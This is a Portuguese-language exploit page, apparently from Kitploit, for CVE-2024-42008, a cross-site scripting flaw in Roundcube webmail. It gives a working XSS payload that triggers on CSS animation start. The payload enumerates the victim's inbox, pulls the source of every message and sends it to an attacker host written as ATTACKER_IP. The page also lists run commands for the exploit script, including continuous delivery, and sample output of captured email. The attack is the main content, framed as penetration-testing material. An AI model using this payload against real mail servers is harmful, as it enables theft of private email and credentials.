Roundcube-CVE-2024-42008-POC — Exploit de prova de conceito para CVE-2024-42008, uma vulnerabilidade de Cross-Site Scripting no webmail RoundCube. Entrega payloads XSS por meio de formulários de contato para roubar e-mails, credenciais e tokens de sessão em ambientes autorizados de teste de penetração. | Kitploit

// The core XSS payload uses CSS animations to trigger JavaScript
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=
  // 1. Fetch email list from victim's INBOX
  fetch('/?_task=mail&_action=list&_mbox=INBOX&_page=&_remote=1')
  .then(r=>r.text())
  .then(t=>{
    // 2. Extract email UIDs using regex
    [...t.matchAll(/this\\.add_message_row\\((\\d+),/g)].forEach(m=>{
      // 3. For each email, fetch full source
      fetch(`/?_task=mail&_uid=${m[1]}&_mbox=INBOX&_action=viewsource`)
      .then(r=>r.text())
      .then(data=>{
        // 4. Exfiltrate email data to attacker server
        fetch(`http://ATTACKER_IP:PORT/?data=${encodeURIComponent(data)}`)
      })
    })
  })
; foo=bar">

# Single payload delivery
python cve-2024-42008-exploit.py

# Continuous mode (every 30 seconds)
python cve-2024-42008-exploit.py -c

# Custom interval (every 60 seconds)
python cve-2024-42008-exploit.py -c -i 60

# Debug mode with proxy
python cve-2024-42008-exploit.py -d

[+] Listening on 10.10.14.209:8001 for exfiltrated data...
[2024-07-09 10:30:15] POST Request Sent! Status Code: 200

[+] 📩 Captured Email Data:
Return-Path: <[email protected]>
Received: from localhost (localhost [127.0.0.1])
...
[Email content]
--------------------------------------------------
[+] 🔥 Email data saved to emails.log

Opção	Descrição
`-d, --debug`	Ativa o modo de depuração com suporte a proxy
`-c, --continuous`	Envia payloads continuamente
`-i, --interval`	Intervalo entre payloads (padrão: 30s)

Roundcube-CVE-2024-42008-POC

Mais Populares

Impacto

Análise do Script de Exploração

Arquitetura do Script

Detalhamento do Payload

Principais Características

Uso

Pré-requisitos

Uso Básico

Configuração

Opções de Linha de Comando

Fluxo de Ataque

Detecção e Mitigação

Para Defensores

Para Testadores de Penetração

Considerações Legais e Éticas

Referências Técnicas

Exemplo de Saída

Aviso Legal